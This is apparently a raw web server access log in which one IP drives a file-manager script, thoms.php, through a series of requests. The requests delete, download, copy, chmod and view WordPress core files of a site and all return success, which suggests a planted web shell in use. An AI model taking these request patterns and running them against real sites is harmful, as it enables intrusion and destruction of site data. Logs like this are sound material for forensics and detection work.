45.135.193.11 - - [11/Sep/2026:23:10:57 -0400] "GET /thoms.php?del=link-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57900 "http://163.245.207.76:443/thoms.php?del=link-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:58 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fmeta.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11866 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fmeta.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:58 -0400] "GET /thoms.php?del=template-loader.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=template-loader.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:58 -0400] "GET /thoms.php?del=https-migration.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57834 "http://163.245.207.76:443/thoms.php?del=https-migration.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:58 -0400] "GET /thoms.php?chmod=ms-settings.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=ms-settings.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:58 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ftheme-templates.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ftheme-templates.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:58 -0400] "GET /thoms.php?chmod=view-transitions.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=view-transitions.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:58 -0400] "GET /thoms.php?del=rewrite.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57923 "http://163.245.207.76:443/thoms.php?del=rewrite.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:58 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcss&p= HTTP/1.1" 200 11967 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:59 -0400] "GET /thoms.php?chmod=block-bindings.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=block-bindings.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:58 -0400] "GET /thoms.php?del=vars.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57900 "http://163.245.207.76:443/thoms.php?del=vars.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:59 -0400] "GET /thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:59 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-phpass.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-phpass.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:59 -0400] "GET /thoms.php?dl=class-wp-scripts.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=class-wp-scripts.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:59 -0400] "GET /thoms.php?del=class-wp-walker.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57822 "http://163.245.207.76:443/thoms.php?del=class-wp-walker.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:59 -0400] "GET /thoms.php?del=icons.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=icons.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:59 -0400] "GET /thoms.php?dl=registration.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57949 "http://163.245.207.76:443/thoms.php?dl=registration.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:00 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-http-cookie.php HTTP/1.1" 200 14675 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-http-cookie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:00 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fmedia.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fmedia.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:00 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=canonical.php HTTP/1.1" 200 22992 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=canonical.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:00 -0400] "GET /thoms.php?del=widgets.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:00 -0400] "GET /thoms.php?dl=wp-db.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=wp-db.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:00 -0400] "GET /thoms.php?dl=comment-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=comment-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:00 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2FPHPMailer HTTP/1.1" 200 13907 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2FPHPMailer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:00 -0400] "GET /thoms.php?dl=ms-site.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57922 "http://163.245.207.76:443/thoms.php?dl=ms-site.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:01 -0400] "GET /thoms.php?chmod=class-json.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=class-json.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:01 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-error.php HTTP/1.1" 200 14105 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-error.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:01 -0400] "GET /thoms.php?dl=bookmark-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57900 "http://163.245.207.76:443/thoms.php?dl=bookmark-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:01 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-oembed.php HTTP/1.1" 200 21760 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:01 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-cookie-service.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11550 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-cookie-service.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:01 -0400] "GET /thoms.php?dl=class-wp-http-streams.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-streams.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:01 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11850 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:01 -0400] "GET /thoms.php?chmod=interactivity-api&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=interactivity-api&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:01 -0400] "GET /thoms.php?del=style-engine.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57928 "http://163.245.207.76:443/thoms.php?del=style-engine.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:02 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-http.php HTTP/1.1" 200 12116 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:02 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-parser.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-parser.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:02 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Frest-api&p= HTTP/1.1" 200 11967 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Frest-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:02 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-dependency.php HTTP/1.1" 200 12909 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-dependency.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:02 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-list-util.php HTTP/1.1" 200 14417 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-list-util.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:02 -0400] "GET /thoms.php?del=class-wp-block-list.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57907 "http://163.245.207.76:443/thoms.php?del=class-wp-block-list.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:02 -0400] "GET /thoms.php?dl=class-smtp.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=class-smtp.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:02 -0400] "GET /thoms.php?dl=class-wp-customize-widgets.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-widgets.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:03 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcertificates&p= HTTP/1.1" 200 11978 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcertificates&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:02 -0400] "GET /thoms.php?del=formatting.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=formatting.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:03 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=atomlib.php HTTP/1.1" 200 15839 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=atomlib.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:03 -0400] "GET /thoms.php?chmod=class-IXR.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=class-IXR.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:03 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-walker-comment.php HTTP/1.1" 200 15962 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-walker-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:03 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-duotone.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-duotone.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:03 -0400] "GET /thoms.php?dl=class-IXR.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-IXR.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:03 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:03 -0400] "GET /thoms.php?dl=class-wp-customize-section.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-section.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:04 -0400] "GET /thoms.php?chmod=class-wp-widget.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=class-wp-widget.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:04 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=date.php HTTP/1.1" 200 12122 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=date.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:04 -0400] "GET /thoms.php?del=class-wp-session-tokens.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-session-tokens.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:04 -0400] "GET /thoms.php?del=class-wp.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:04 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fscript-modules.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fscript-modules.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:04 -0400] "GET /thoms.php?dl=rss-functions.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=rss-functions.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:04 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-http-curl.php HTTP/1.1" 200 16260 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-http-curl.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:04 -0400] "GET /thoms.php?dl=block-i18n.json&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57900 "http://163.245.207.76:443/thoms.php?dl=block-i18n.json&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:04 -0400] "GET /thoms.php?dl=class-wp-customize-manager.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-manager.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:04 -0400] "GET /thoms.php?del=class-wp-customize-widgets.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57927 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-widgets.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:05 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-http.php HTTP/1.1" 200 25550 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:05 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-styles.php HTTP/1.1" 200 16288 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:05 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fdeprecated.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11826 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fdeprecated.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:05 -0400] "GET /thoms.php?chmod=plugin.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=plugin.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:05 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-http-encoding.php HTTP/1.1" 200 14289 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-http-encoding.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:05 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=revision.php HTTP/1.1" 200 21894 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:05 -0400] "GET /thoms.php?dl=class-wp-exception.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57921 "http://163.245.207.76:443/thoms.php?dl=class-wp-exception.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:11:05 -0400] "GET /thoms.php?del=class-wp-recovery-mode-link-service.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57923 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-link-service.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
